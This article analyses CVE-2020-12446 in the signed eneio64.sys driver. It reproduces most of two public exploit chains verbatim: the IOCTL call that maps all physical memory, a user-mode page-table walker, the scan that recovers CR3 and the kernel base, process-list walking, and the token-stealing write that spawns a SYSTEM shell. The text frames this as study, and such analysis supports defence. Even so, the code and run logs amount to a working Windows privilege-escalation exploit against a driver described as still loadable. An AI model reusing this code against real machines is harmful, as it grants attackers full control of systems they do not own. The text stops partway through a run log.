
Executive Summary
Bring-your-own-vulnerable-driver attacks are usually discussed in terms of what the driver lets you overwrite — an arbitrary kernel write here, a controlled call there, then a scramble to find a target that turns the primitive into privilege. eneio64.sys skips all of that. It is an 18,712-byte relic compiled in September 2014, signed with an ASUSTeK code-signing certificate, and derived from the ancient WinIo library. Its IOCTL_WINIO_MAPPHYSTOLIN handler opens \Device\PhysicalMemory with SECTION_ALL_ACCESS and calls ZwMapViewOfSection with a process handle of (HANDLE)-1. That single constant is the whole vulnerability: the entire physical address space is mapped, read/write, into the address space of whichever unprivileged process asked for it. CVE-2020-12446 carries a CVSS 3.1 base score of 7.8, and the driver was still loadable on a fully patched, HVCI-enabled Windows 11 24H2 as of the source authors’ testing in March and September 2025.
What makes the three exploits examined here worth studying is not the bug but the engineering built on top of it. Physical memory is the wrong coordinate system: every structure Windows cares about — EPROCESS, KTHREAD, tokens, the loaded module list — is addressed virtually. So the exploits reimplement the x86-64 memory management unit in user mode, walking PML4 → PDPT → PD → PT by hand over the mapped view. That requires CR3, which user mode cannot read, so they scan the first megabyte of physical memory for the processor start block Windows leaves there at boot — which also hands them the randomised ntoskrnl base, defeating KASLR without touching a single leak API. This article walks the complete chain, compares the three independent implementations line by line (including a genuine bug in one of them), reconstructs the driver’s dispatch path from the binary, and closes with the detection and hardening posture that actually applies — because HVCI, CFG, CET and the 2020-era leak restrictions all watch this attack go past without objecting.
The Driver: 18 KB of 2014 WinIo, Still Loadable in 2025
The enessakircolak repository ships the driver binary alongside the exploit, which makes it possible to verify the attack surface directly rather than taking the write-ups on faith. Parsing the PE header gives a machine type of 0x8664, six sections, and a TimeDateStamp of 0x540FF16D — 10 September 2014, 06:36:29 UTC. The image is 18,712 bytes with a SHA-256 of 38c18db050b0b2b07f657c03db1c9595febae0319c746c3eede677e21cd238b0. DllCharacteristics is 0x160, so both ASLR and NX are declared — mitigations that turn out to be entirely beside the point for a data-only attack.
The provenance is written in the strings. A leftover PDB path of D:\tmp\GLKIo_git\x64\Win7Debug\Drv.pdb, symbolic names such as IOCTL_WINIO_MAPPHYSTOLIN and MapPhysicalMemoryToLinearSpace, and the UTF-16 device names make the lineage unambiguous: this is a rebadged build of WinIo, the general-purpose direct-hardware-access library that has been recycled into vendor RGB, fan-control and overclocking utilities for two decades. The embedded certificate chain names ASUSTeK Computer Inc. (Quality Testing Department) under the VeriSign Class 3 Code Signing 2010 CA, valid 2012–2015 and countersigned by Symantec Time Stamping Services CA – G2 on 10 September 2014. That countersignature is why an expired certificate still produces a loadable driver eleven years later: Authenticode treats a timestamped signature as valid for the life of the timestamping authority’s trust, not the signer’s certificate.
$ python3 -c "import re; d=open('eneio64.sys','rb').read(); \
print('\n'.join(m.group().decode('utf-16-le') for m in re.finditer(rb'(?:[\x20-\x7e]\x00){4,}',d)))"
\Device\GLCKIo
\DosDevices\GLCKIo
\Device\PhysicalMemory
CrossC
Four UTF-16 strings, and the third one is the entire security story. A driver that names \Device\PhysicalMemory is not exposing a bug in the traditional sense — there is no overflow, no missing bounds check, no race. It is doing exactly what it was designed to do, for a caller it was never designed to serve.

DeviceIoControl to a BYTE* that aliases physical address zero. Diagram produced for this article from our own disassembly of the driver binary shipped with enessakircolak/Windows-11-24h2-Kernel-Exploit.Decoding the dispatch table
Both exploits use only two IOCTL codes, 0x80102040 and 0x80102044, but the driver exposes six. The dispatcher is a compiler-generated jump table, which makes the complete set recoverable without guesswork: subtract the base code, bounds-check against 0x1c, index a byte table, then index a dword table of RVAs.
0x140001845 8b442440 mov eax, dword ptr [rsp + 0x40]
0x140001849 2d40201080 sub eax, 0x80102040
0x14000184e 89442440 mov dword ptr [rsp + 0x40], eax
0x140001852 837c24401c cmp dword ptr [rsp + 0x40], 0x1c
0x140001857 0f871a030000 ja 0x140001b77 ; default -> STATUS_INVALID_DEVICE_REQUEST
0x14000185d 8b442440 mov eax, dword ptr [rsp + 0x40]
0x140001861 488d0d98e7ffff lea rcx, [rip - 0x1868] ; = 0x140000000, the image base
0x140001868 0fb68401f81b0000 movzx eax, byte ptr [rcx + rax + 0x1bf8] ; case index table
0x140001870 8b8481dc1b0000 mov eax, dword ptr [rcx + rax*4 + 0x1bdc] ; case address table
0x140001877 4803c1 add rax, rcx
0x14000187a ffe0 jmp rax
Walking those two tables and resolving the DbgPrint string reference at the head of each case handler yields the complete, verified IOCTL surface. Every one of them decodes with an access field of zero — FILE_ANY_ACCESS — so the IOCTL itself imposes no requirement on how the handle was opened. The only gate left is the device object’s DACL, and the driver calls IoCreateDevice and IoCreateSymbolicLink without applying an explicit security descriptor.
| IOCTL name | Code | Function | Method | Access | Handler RVA |
|---|---|---|---|---|---|
IOCTL_WINIO_MAPPHYSTOLIN | 0x80102040 | 0x810 | METHOD_BUFFERED | FILE_ANY_ACCESS | 0x1400019c7 |
IOCTL_WINIO_UNMAPPHYSADDR | 0x80102044 | 0x811 | METHOD_BUFFERED | FILE_ANY_ACCESS | 0x140001a77 |
IOCTL_WINIO_READPORT | 0x80102050 | 0x814 | METHOD_BUFFERED | FILE_ANY_ACCESS | 0x140001910 |
IOCTL_WINIO_WRITEPORT | 0x80102054 | 0x815 | METHOD_BUFFERED | FILE_ANY_ACCESS | 0x14000187c |
IOCTL_WINIO_READMSR | 0x80102058 | 0x816 | METHOD_BUFFERED | FILE_ANY_ACCESS | 0x140001ae5 |
IOCTL_WINIO_WRITEMSR | 0x8010205c | 0x817 | METHOD_BUFFERED | FILE_ANY_ACCESS | 0x140001b2e |
DbgPrint strings. Our own analysis of the shipped binary; the two published exploits use only the first two.The four unused handlers deserve a moment. Port I/O and MSR read/write are, on their own, complete privilege-escalation primitives on many systems — arbitrary MSR write in particular can be turned into kernel code execution through IA32_LSTAR on hosts without VBS. A defender treating this driver purely as “the physical memory one” is underestimating it by four capabilities.
Xacone’s repository ships a small helper for exactly the DACL question this raises — a decoder for the access mask a device object grants, reproduced here in full:
def decode_access_mask(mask):
access_rights = {
0x00010000: "DELETE",
0x00020000: "READ_CONTROL",
0x00040000: "WRITE_DAC",
0x00080000: "WRITE_OWNER",
0x00100000: "SYNCHRONIZE",
0x00000001: "FILE_READ_DATA",
0x00000002: "FILE_WRITE_DATA",
0x00000004: "FILE_APPEND_DATA",
0x00000008: "FILE_READ_EA",
0x00000010: "FILE_WRITE_EA",
0x00000020: "FILE_EXECUTE",
0x00000040: "FILE_DELETE_CHILD",
0x00000080: "FILE_READ_ATTRIBUTES",
0x00000100: "FILE_WRITE_ATTRIBUTES",
0x00020000: "STANDARD_RIGHTS_READ",
0x00020000: "STANDARD_RIGHTS_WRITE",
0x00020000: "STANDARD_RIGHTS_EXECUTE",
0x001f0000: "STANDARD_RIGHTS_ALL",
0x10000000: "GENERIC_ALL",
0x20000000: "GENERIC_EXECUTE",
0x40000000: "GENERIC_WRITE",
0x80000000: "GENERIC_READ",
}
if isinstance(mask, str):
mask = int(mask, 16)
associated_rights = []
for value, name in access_rights.items():
if mask & value:
associated_rights.append(name)
return associated_rights
mask = input("Access Mask: ")
rights = decode_access_mask(mask)
print("Rights associated with the mask:")
for right in rights:
print(f"- {right}")
Reproduced verbatim from sd.py in Xacone/Eneio64-Driver-Exploits. Note that the dictionary literal collapses the three STANDARD_RIGHTS_* aliases and READ_CONTROL onto the single key 0x00020000, so only the last one written survives — a Python detail worth knowing before trusting its output on a real descriptor.
The Primitive: \Device\PhysicalMemory Handed to a Medium-IL Caller
MapPhysicalMemoryToLinearSpace is four kernel calls long, and the disassembly reads like a checklist of everything that should not happen in sequence.
; --- 1. Open the physical memory section with full access -------------------
0x14000127d 4c8d842480000000 lea r8, [rsp + 0x80] ; OBJECT_ATTRIBUTES -> \Device\PhysicalMemory
0x140001285 ba1f000f00 mov edx, 0xf001f ; SECTION_ALL_ACCESS
0x140001292 ff15b81d0000 call qword ptr [rip + 0x1db8] ; ZwOpenSection
; --- 2. Take a *kernel-mode* reference to the section object ----------------
0x1400012bd 4533c9 xor r9d, r9d ; AccessMode = KernelMode
0x1400012c0 4533c0 xor r8d, r8d ; ObjectType = NULL
0x1400012c3 ba1f000f00 mov edx, 0xf001f ; SECTION_ALL_ACCESS
0x1400012d3 ff155f1d0000 call qword ptr [rip + 0x1d5f] ; ObReferenceObjectByHandle
; --- 3. Translate the caller-supplied bus addresses -------------------------
0x140001329 33d2 xor edx, edx ; BusNumber = 0
0x14000132b b901000000 mov ecx, 1 ; InterfaceType = Isa
0x140001330 ff15ca1c0000 call qword ptr [rip + 0x1cca] ; HalTranslateBusAddress
; --- 4. Map the view into the CALLING process ------------------------------
0x1400013a3 c744244804020000 mov dword ptr [rsp + 0x48], 0x204 ; PAGE_READWRITE | PAGE_NOCACHE
0x1400013b3 c744243801000000 mov dword ptr [rsp + 0x38], 1 ; InheritDisposition = ViewShare
0x1400013e7 48c7c2ffffffff mov rdx, 0xffffffffffffffff ; ProcessHandle = NtCurrentProcess()
0x1400013f9 ff15591c0000 call qword ptr [rip + 0x1c59] ; ZwMapViewOfSection
Step two is the quiet part. By taking a KernelMode reference to the section object, the driver ensures that the subsequent mapping is not evaluated against the caller’s access rights — the kernel is vouching for a request that originated in user mode. Step four then names NtCurrentProcess() as the target. There is no impersonation, no check of the caller’s token, no verification that the requested range is a device BAR rather than system RAM. The ViewSize is taken directly from the IRP’s input buffer.
On the exploit side, the request is a five-field struct and one DeviceIoControl. Both repositories declare it identically:
#define DEVICE_NAME "\\\\.\\GLCKIo"
#define IOCTL_WINIO_MAPPHYSTOLIN 0x80102040
#define IOCTL_WINIO_UNMAPPHYSADDR 0x80102044
typedef struct _INPUTBUF
{
ULONG64 Size;
ULONG64 val2;
ULONG64 val3;
ULONG64 MappingAddress;
ULONG64 val5;
} INPUTBUF;
Verbatim from exploit/main.cpp (Xacone) and, field for field, from LPEeneio64.cpp (enessakircolak). The request asks for everything the machine has, and the driver obliges:
MEMORYSTATUSEX memoryStatus;
memoryStatus.dwLength = sizeof(memoryStatus);
if (GlobalMemoryStatusEx(&memoryStatus)) {
printf("[*] Total physical memory: ~0x%llx bytes\n", memoryStatus.ullTotalPhys);
printf("[*] Highest available physical memory address: ~0x%llx\n", memoryStatus.ullTotalPhys - 1);
}
INPUTBUF* inbuf = (INPUTBUF*)malloc(sizeof(INPUTBUF));
inbuf->Size = (memoryStatus.ullTotalPhys - 1);
inbuf->val2 = 0;
inbuf->val3 = 0;
inbuf->MappingAddress = 0;
inbuf->val5 = 0;
BOOL success = DeviceIoControl(
drv,
IOCTL_WINIO_MAPPHYSTOLIN,
inbuf,
sizeof(INPUTBUF),
inbuf,
sizeof(INPUTBUF),
&bytes_returned,
(LPOVERLAPPED)NULL
);
if (success) {
wprintf(L"[*] Mapped %llx bytes at %p\n", inbuf->Size, inbuf->MappingAddress);
BYTE* memory_data = (BYTE*)inbuf->MappingAddress;
Reproduced from exploit/main.cpp in Xacone/Eneio64-Driver-Exploits. From this line forward, memory_data[pa] is the byte at physical address pa. No further kernel transitions are required for anything the exploit does — the remaining work is arithmetic and pointer chasing in ordinary user-mode C.
Problem One: Everything Windows Knows Is Indexed by Virtual Address
A physical-memory alias is a powerful primitive and a badly formatted one. Every pointer the operating system hands out, every field inside EPROCESS, every entry in PsActiveProcessHead is a kernel virtual address. The mapped view knows nothing about virtual addresses. Bridging that gap means doing what the CPU’s page-walking hardware does, in software, using the physical map as the memory bus.

The whole translator rests on one helper. Reading a QWORD from physical memory is a byte-at-a-time assembly of the mapped array, which keeps the code alignment-agnostic:
UINT64 ReadMemoryU64(const UINT8* memory_data, UINT64 physical_address) {
UINT64 value = 0;
for (size_t i = 0; i < sizeof(UINT64); ++i) {
value |= (UINT64)(memory_data[physical_address + i]) << (i * 8);
}
return value;
}
void WriteMemoryU64(UINT8* memory_data, UINT64 physical_address, UINT64 value) {
for (size_t i = 0; i < sizeof(UINT64); ++i) {
memory_data[physical_address + i] = (UINT8)(value >> (i * 8));
}
}
Verbatim from procs/main.cpp in Xacone/Eneio64-Driver-Exploits.
The walk itself
The refined version in procs/main.cpp is the one to read. It splits the canonical 48-bit virtual address into four nine-bit indices and a twelve-bit page offset, checks the present bit at every level, and handles both large-page shortcuts:
UINT64 VirtualToPhysical(UINT64 cr3, UINT64 virtualAddr, BYTE* map) {
UINT64 physicalAddr = 0;
uint16_t PML4 = (uint16_t)((virtualAddr >> 39) & 0x1FF);
uint16_t DirectoryPtr = (uint16_t)((virtualAddr >> 30) & 0x1FF);
uint16_t Directory = (uint16_t)((virtualAddr >> 21) & 0x1FF);
uint16_t Table = (uint16_t)((virtualAddr >> 12) & 0x1FF);
uint64_t PML4E = ReadMemoryU64(map, cr3 + PML4 * sizeof(uint64_t));
if (!(PML4E & 0x1)) {
printf("[!] PML4E not present for VA 0x%llx\n", virtualAddr);
return 0;
}
uint64_t PDPTE = ReadMemoryU64(map, (PML4E & 0xFFFFFFFFFF000) + DirectoryPtr * sizeof(uint64_t));
if (!(PDPTE & 0x1)) {
printf("[!] PDPTE not present for VA 0x%llx\n", virtualAddr);
return 0;
}
if (PDPTE & (1 << 7)) {
physicalAddr = (PDPTE & 0xFFFFFC0000000) + (virtualAddr & 0x3FFFFFFF);
return physicalAddr;
}
uint64_t PDE = ReadMemoryU64(map, (PDPTE & 0xFFFFFFFFFF000) + Directory * sizeof(uint64_t));
if (!(PDE & 0x1)) {
printf("[!] PDE not present for VA 0x%llx\n", virtualAddr);
return 0;
}
if (PDE & (1 << 7)) {
physicalAddr = (PDE & 0xFFFFFFFE00000) + (virtualAddr & 0x1FFFFF);
return physicalAddr;
}
uint64_t PTE = ReadMemoryU64(map, (PDE & 0xFFFFFFFFFF000) + Table * sizeof(uint64_t));
if (!(PTE & 0x1)) {
printf("[!] PTE not present for VA 0x%llx\n", virtualAddr);
return 0;
}
physicalAddr = (PTE & 0xFFFFFFFFFF000) + (virtualAddr & 0xFFF);
return physicalAddr;
}
Verbatim from procs/main.cpp in Xacone/Eneio64-Driver-Exploits. Bit 7 of a PDPTE or PDE is the page-size bit; when set, the walk terminates early at a 1 GiB or 2 MiB page and the offset mask widens accordingly. Skipping those two branches on a kernel that uses large pages for the loaded image — which Windows does — produces plausible-looking garbage rather than an obvious failure.
The earlier implementation, and a real bug in it
The version in exploit/main.cpp predates the refinement and differs in three ways worth calling out, because the third is a genuine defect that changes how the surrounding code has to be written.
- No present-bit checks at any level. A not-present entry is treated as a base address and the walk continues into whatever the upper bits happen to encode.
- An inconsistent PDPTE mask. The address bits are extracted with
PML4E & 0xFFFF1FFFFFF000rather than0xFFFFFFFFFF000— a stray nibble that survives into the physical index. - A comparison where an assignment belongs. The 4 KiB path ends with
==, not=.
uint64_t PTE = 0;
for (size_t i = 0; i < sizeof(uint64_t); ++i) {
PTE |= (uint64_t)(map[((PDE & 0xFFFFFFFFFF000) + (uint64_t)Table * sizeof(uint64_t)) + i]) << (i * 8);
}
std::cout << "\t[*] PTE at " << std::hex << PTE << std::endl;
physicalAddr == (PTE & 0xFFFFFFFFFF000) + (virtualAddr & 0xFFF);
return physicalAddr;
Verbatim from exploit/main.cpp in Xacone/Eneio64-Driver-Exploits. The expression is evaluated, compared against the still-zero physicalAddr, and discarded; the function then returns zero for every address that resolves through a 4 KiB page. Only the large-page branches, which return early, ever produce a usable result. That is why the caller cannot simply call the translator once:
HANDLE dummyHandle = 0;
ULONG64 kthread = 0x0;
UINT64 kThreadPhysical = 0;
do {
dummyHandle = createdummyThread();
kthread = LeakKTHREAD(dummyHandle);
kThreadPhysical = VirtualToPhysical(cr3, kthread, memory_data);
} while (kThreadPhysical == 0);
Verbatim from exploit/main.cpp in Xacone/Eneio64-Driver-Exploits. The loop spawns suspended threads until one of them happens to have its KTHREAD backed by a large page, at which point the early-return branch fires and the walk yields a real address. It works, and it is a fine illustration of how a data-only exploit can be self-correcting: the failure mode is a zero, not a crash, so brute force covers for a typo. The corrected walk in procs/main.cpp makes that same retry meaningful, because a zero there genuinely means “paged out or unmapped” rather than “the 4 KiB path is broken”.
There is a real race underneath the workaround regardless of implementation quality. The page tables are live: the kernel is editing them while the exploit walks them. A PTE can be valid when it is read and stale by the time the target byte is touched, and a paged-out EPROCESS has no leaf entry at all. That is why procs/main.cpp wraps every translation in a bounded retry with a short sleep, and why exploit/main.cpp restarts its own process outright when the current EPROCESS fails to resolve:
if (currentProcPhysical == 0x0) {
UnMapViewOfSection(drv, inbuf);
std::cerr << "[X] Current Process EPROCESS not valid (= 0). Spawning new process..." << std::endl;
restart_process();
}
Verbatim from exploit/main.cpp in Xacone/Eneio64-Driver-Exploits. From a detection standpoint this is a gift: the exploit’s failure handling is louder than its success path. A process that repeatedly re-execs itself while holding a multi-gigabyte non-cached mapping is a far stronger signal than any single API call in the chain.
Problem Two: Where Is CR3?
The walk needs a root, and the root is CR3 — a control register that user mode cannot read. The answer is one of the more elegant tricks in the chain, and it also solves KASLR as a side effect.
During boot and whenever an application processor is brought up or resumed, Windows writes a processor start block into low physical memory: a structure that carries the saved control registers, GDT and IDT descriptors, and pointers into the kernel image, because the AP starts in real mode and needs somewhere below 1 MiB to bootstrap from. That block never moves and is never scrubbed. With a physical-memory read it is a directory of exactly the two things the exploit is missing.

The scan is trivial. What makes it work is that kernel ASLR relocates ntoskrnl on a 2 MiB-aligned boundary, so the low bits of any kernel address are simply its RVA — and the RVA is available for free from the copy of ntoskrnl.exe on disk. Matching the low 16 or 20 bits of a known RVA against QWORDs in the Low Stub locates the live pointer; subtracting the RVA yields the randomised base.
for (DWORD_PTR physical_offset = 0; physical_offset < 0x100000; physical_offset += sizeof(UINT64)) {
UINT64 qword_value = ReadMemoryU64(memory_data, physical_offset);
if ((qword_value & 0xFFFFF) == (ntosEntryPoint & 0xFFFFF)) {
printf("[*] Found KiSystemStartup -> %p\n", (void*)qword_value);
supposedNtosBase = (qword_value - ntosEntryPoint);
printf("[*] In a silly way, we can assume NTOS base address is %p\n", (void*)supposedNtosBase);
ULONG32 cr3_physical = physical_offset - 0xf8 - 0xf0 + 0x010;
cr3 = ReadMemoryU64(memory_data, cr3_physical);
printf("[*] CR3 (PML4) = %llx\n", cr3);
break;
}
}
Verbatim from procs/main.cpp in Xacone/Eneio64-Driver-Exploits. The arithmetic - 0xf8 - 0xf0 + 0x010 walks back from the matched pointer to the head of the start block, then forward to the saved CR3 in its SpecialRegisters sub-structure. The other two implementations use the equivalent but differently anchored physical_offset + 0x30.
Three ways to anchor the same scan
The scan needs a known value to match against, and the three implementations choose very differently. The choice is the single biggest determinant of how long each exploit stays alive across Windows updates.
A. Hardcoded RVA plus a leaked base. The original exploit/main.cpp computes GetNtosBase() + 0x410660, where GetNtosBase() is the first entry returned by EnumDeviceDrivers. This needs a kernel-address leak just to begin, and the RVA is pinned to one 22H2 build.
ULONG64 GetNtosBase() {
LPVOID driverBaseAddresses[1024];
DWORD sizeRequired;
if (EnumDeviceDrivers(driverBaseAddresses, sizeof(driverBaseAddresses), &sizeRequired)) {
return (ULONG64)driverBaseAddresses[0];
}
return NULL;
}
Verbatim from exploit/main.cpp in Xacone/Eneio64-Driver-Exploits. Microsoft’s progressive restriction of kernel-address disclosure to medium-integrity callers is precisely what motivated the later work.
B. An opcode signature. LPEeneio64.cpp scans the on-disk image for the first eight opcode bytes of HalpLMStub, recovering the RVA per build instead of hardcoding it:
for (int i = 0x0; i < 0x1000000; i++) {
UINT64 qword_value = (DWORD_PTR)hModule + i;
if ((*((unsigned long long*)qword_value)) == 0xe1200f00ebd8220f) // first opcodes of the halpLMStub
{
halpLmStubPhysicalPointer = qword_value;
halpoffset = i;
printf("[*] HalpLMStub offset -> %p\n", halpoffset);
break;
}
}
Verbatim from LPEeneio64.cpp in enessakircolak/Windows-11-24h2-Kernel-Exploit (MIT). This survives updates that relocate the function but not ones that change its prologue.
C. An exported symbol resolved at runtime. kaslr/main.cpp and procs/main.cpp map ntoskrnl.exe as a normal module and ask the export table where things are. Nothing is hardcoded at all:
HMODULE hModule = LoadLibrary(L"ntoskrnl.exe");
printf("[*] ntoskrnl.exe loaded at %p\n", hModule);
UINT64 kiSystemStartupOffset = ((UINT64)GetProcAddress(hModule, "KiSystemStartup") - (UINT64)hModule);
Verbatim from procs/main.cpp in Xacone/Eneio64-Driver-Exploits. This is the version defenders should assume: the exploit follows Microsoft across builds for free, so offset churn is not a mitigation.
One caveat applies to all three: CR3 is read into a ULONG32. On a machine with a few gigabytes of RAM the PML4 always lands below 4 GiB and the truncation is invisible. On a host where the page directory base is allocated higher, the walk would silently root itself at the wrong physical address.
Problem Three: Finding the System Process
With physical read/write, a working translator and the kernel base, the last unknown is a pointer to the EPROCESS whose token is worth stealing. Again, three approaches.

EPROCESS, resolving a RIP-relative lea from raw bytes, and walking the active process list. Diagram produced for this article from the three source implementations.Xacone’s original walks the big pool for the Proc tag. The System process object is a large pool allocation, and SystemBigPoolInformation reports its address; +0x3f clears the low NonPaged flag bit encoded in the union and steps past the pool header:
for (unsigned int i = 0; i < info->Count; i++) {
SYSTEM_BIGPOOL_ENTRY poolEntry = info->AllocatedInfo[i];
if (poolEntry.TagUlong != 0x636f7250) {
continue;
}
printf("[*] Tag: %.*s, Address: 0x%llx, Size: 0x%x\n", 4, poolEntry.Tag, poolEntry.VirtualAddress, poolEntry.SizeInBytes);
return (UINT64)poolEntry.VirtualAddress;
}
return NULL;
Verbatim from exploit/main.cpp in Xacone/Eneio64-Driver-Exploits. 0x636f7250 is 'Proc' in little-endian.
The enessakircolak implementation takes the direct route and dereferences the exported PsInitialSystemProcess variable at a hardcoded RVA. The maintenance cost is visible in the source itself:
#define EPROCESS_TOKEN_OFFSET 0x248// win11 24h2 x64
#define PsInitialSystemProcessOffset 0xFC4AA8 // win11 24h2 x64
//#define PsInitialSystemProcessOffset 0xFC5AB0 // win11 25h2 x64
#define halpLMStubOffset 0x66DF70 // win11 24h2 x64
#define ProcessID_OFFSET 0x1d0 // win11 24h2 x64
#define Flink_OFFSET 0x1d8 // win11 24h2 x64
Verbatim from LPEeneio64.cpp in enessakircolak/Windows-11-24h2-Kernel-Exploit (MIT). One constant per Windows build, and the 25H2 line already commented in.
Reading the kernel’s own instruction stream
The most portable route is also the most interesting. nt!KeCapturePersistentThreadState is exported, and it loads two kernel globals into RAX with consecutive lea instructions — first PsLoadedModuleList, then PsActiveProcessHead. Since the exploit can read the kernel’s .text out of physical memory, it can decode those instructions the way a disassembler would.
2: kd> u KeCapturePersistentThreadState+0xfa
nt!KeCapturePersistentThreadState+0xfa:
fffff807`906a2c0a 488d052f20c500 lea rax,[nt!PsLoadedModuleList (fffff807`912f4c40)]
fffff807`906a2c11 48894320 mov qword ptr [rbx+20h],rax
fffff807`906a2c15 488d05e427c600 lea rax,[nt!PsActiveProcessHead (fffff807`91305400)]
fffff807`906a2c1c 48894328 mov qword ptr [rbx+28h],rax
fffff807`906a2c20 c7433064860000 mov dword ptr [rbx+30h],8664h
fffff807`906a2c27 e864b61200 call nt!KeQueryActiveProcessorCountEx (fffff807`907ce290)
fffff807`906a2c2c 4883a3080f000000 and qword ptr [rbx+0F08h],0
fffff807`906a2c34 488d8b40100000 lea rcx,[rbx+1040h]
WinDbg transcript reproduced from procs/README.md in Xacone/Eneio64-Driver-Exploits.
The implementation is a byte-pattern search for the 48 8D 05 encoding of lea rax, [rip+disp32], taking the second occurrence, then standard RIP-relative arithmetic: the displacement is signed and little-endian, and it is relative to the address of the next instruction, which for a 7-byte lea means the match plus seven.
for (int i = 0; i < 1000; i++) {
if (i >= 2 &&
memory_data[KeCapPersThAddrPhysical + i - 2] == 0x48 &&
memory_data[KeCapPersThAddrPhysical + i - 1] == 0x8D &&
memory_data[KeCapPersThAddrPhysical + i] == 0x05) {
occ++;
int seq_offset = i - 2;
//printf("\n\n[*] Found sequence 48 8D 05 (occurrence #%d) at offset 0x%x from function start\n", occ, seq_offset);
if (occ == 2) {
INT32 rip_offset = *(INT32*)&memory_data[KeCapPersThAddrPhysical + seq_offset + 3];
UINT64 instruction_addr = KeCapPersThAddr + seq_offset;
UINT64 rip_next = instruction_addr + 7;
UINT64 target_addr = rip_next + rip_offset;
PsActiveProcessHead = target_addr;
break;
}
}
}
Verbatim from procs/README.md and procs/main.cpp in Xacone/Eneio64-Driver-Exploits.
Walking the list
PsActiveProcessHead anchors a circular doubly linked list threaded through the ActiveProcessLinks field of every EPROCESS. Getting from a link back to the containing object is a subtraction — the manual equivalent of CONTAINING_RECORD. Each hop, however, is a kernel virtual address, so each hop costs a full four-level walk, which is itself four physical reads. Enumerating 300 processes runs to roughly 6,000 page-table reads through the mapped view.
while (current_list_entry_va != PsActiveProcessHead && count < max_processes) {
UINT64 eprocess_va = current_list_entry_va - ACTIVE_PROCESS_LINKS_OFFSET;
// Read PID with retry mechanism
UINT64 pid_va = eprocess_va + UNIQUE_PROCESS_ID_OFFSET;
UINT64 pid_phys = 0;
int retry_count = 0;
const int max_retries = 3;
for (retry_count = 0; retry_count < max_retries; retry_count++) {
pid_phys = VirtualToPhysical(cr3, pid_va, memory_data);
if (pid_phys != 0) break;
printf("[!] Retry %d: Failed to translate PID VA 0x%llx\n", retry_count + 1, pid_va);
Sleep(10); // Short delay to handle potential race conditions
}
Verbatim from procs/main.cpp in Xacone/Eneio64-Driver-Exploits, using the 24H2 offsets the source attributes to the Vergilius Project.
| Structure field | Windows 11 22H2 | Windows 11 24H2 | Consequence if wrong |
|---|---|---|---|
_EPROCESS.Token | 0x4b8 | 0x248 | Eight-byte write into an unrelated field → bugcheck |
_EPROCESS.ActiveProcessLinks | — | 0x1d8 | List walk desynchronises, arbitrary pointers followed |
_EPROCESS.UniqueProcessId | — | 0x1d0 | Wrong process identified as self |
_EPROCESS.ImageFileName | 0x5a8 | 0x338 | Garbage process names, self-detection fails |
_KTHREAD.Process | 0x220 | — | Token stolen for the wrong process |
exploit/main.cpp; 24H2 values from procs/main.cpp and LPEeneio64.cpp. Source: the original repositories.The Payload: Eight Bytes
Everything so far exists to compute two physical addresses. What happens between them is the least sophisticated part of the chain.

_EX_FAST_REF layout, the masked copy, and what the write leaves behind for defenders to find. Diagram produced for this article from the token-theft code in both repositories._EPROCESS.Token is not a plain pointer. It is an _EX_FAST_REF: because token objects are always sixteen-byte aligned, the low four bits are free, and the kernel uses them to cache up to fifteen outstanding references. Copying the raw QWORD would import the System process’s reference count along with its token, so both implementations mask first.
UINT64 systemTokenPhysAddr = physicalSysPoolAddr + EPROCESS_TOKEN_OFFSET;
std::cout << "[*] System Token physical addr at " << std::hex << systemTokenPhysAddr << std::endl;
UINT64 systemToken = 0;
for (size_t i = 0; i < sizeof(UINT64); ++i) {
systemToken |= (UINT64)(memory_data[systemTokenPhysAddr + i]) << (i * 8);
}
systemToken = (systemToken & 0xFFFFFFFFFFFFFFF0);
std::cout << "[*] System Token : " << std::hex << systemToken << std::endl;
UINT64 currentProcTokenPhysical = (currentProcPhysical + EPROCESS_TOKEN_OFFSET);
std::cout << "[*] Current Process Token physical addr at " << std::hex << currentProcTokenPhysical << std::endl;
for (int i = 0; i < sizeof(UINT64); ++i) {
memory_data[currentProcTokenPhysical + i] = (BYTE)((systemToken >> (i * 8)) & 0xFF);
}
std::cout << "[*] Exploit Completed !" << std::endl;
UnMapViewOfSection(drv, inbuf);
system("powershell.exe");
Verbatim from exploit/main.cpp in Xacone/Eneio64-Driver-Exploits. The enessakircolak implementation performs the identical operation, having located the current process by walking forward through ActiveProcessLinks until the PID matches and then stepping back one entry through Blink:
unsigned long long sys_token = eprocess_system + EPROCESS_TOKEN_OFFSET;
sys_token = VirtualToPhysical(cr3, sys_token, memory_data);
sys_token = ReadMemoryU64(memory_data, sys_token) & 0xFFFFFFFFFFFFFFF0;
std::cout << "[+] Sys_token: " << sys_token << std::endl;
unsigned long long curr_token = (next_process - Flink_OFFSET) + EPROCESS_TOKEN_OFFSET; // don't forget to subtract flink offset to get eprocess
curr_token = VirtualToPhysical(cr3, curr_token, memory_data);
std::cout << "[+] Overwriting current process token" << std::endl << std::endl;
for (int i = 0; i < sizeof(UINT64); ++i) {
memory_data[curr_token + i] = (BYTE)((sys_token >> (i * 8)) & 0xFF);
}
std::cout << "[+] I'm gROOT... ";
system("cmd");
Verbatim from LPEeneio64.cpp in enessakircolak/Windows-11-24h2-Kernel-Exploit (MIT).
Windows evaluates every access check against whatever EPROCESS.Token currently points at. There is no cache to invalidate, no signature to verify, no revalidation on the next syscall. The child process spawned on the following line inherits the stolen token and comes up as NT AUTHORITY\SYSTEM.
Two artefacts of the technique are worth internalising. First, the token object’s real reference count was never incremented — ObReferenceObject was bypassed entirely — so two processes now point at one token and only one of them is accounted for. When the exploit process exits, the kernel dereferences the System token on its behalf. Both proofs of concept avoid the consequences by keeping an interactive shell alive rather than terminating cleanly. Second, the resulting process carries System’s SID, logon session and integrity level while having been created by an interactive user, which is the single most reliable detection signal in the whole chain.
The Chain End to End
Xacone’s procs variant does not steal a token at all — it enumerates kernel process objects, which is the more useful capability for anything that comes after initial escalation. Its run log is the clearest single view of the whole pipeline executing:
C:\>C:\Temp\leak_proc_addr.exe
[*] Successfully opened the device handle
[*] Current process (exploit.exe) PID: 2900
[*] ntoskrnl.exe loaded at 00007FF6F0010000
[*] Total physical memory: ~0x1853d9000 bytes
[*] Highest available physical memory address: ~0x1853d8fff
[*] Mapped 1853d8fff bytes at 000001939A5D0000
[*] NTOSKRNL.exe entry point at 0xb423a0
[*] KeCapturePersistentThreadState offset is 0x2a2b10
[*] Found KiSystemStartup -> FFFFF80790F423A0
[*] In a silly way, we can assume NTOS base address is FFFFF80790400000
[*] CR3 (PML4) = 7d5000
[*] nt!KeCapturePersistentThreadState is at FFFFF807906A2B10
[*] nt!KeCapturePersistentThreadState physical address at 00000001006A2B10
[*] Walking PsActiveProcessHead:
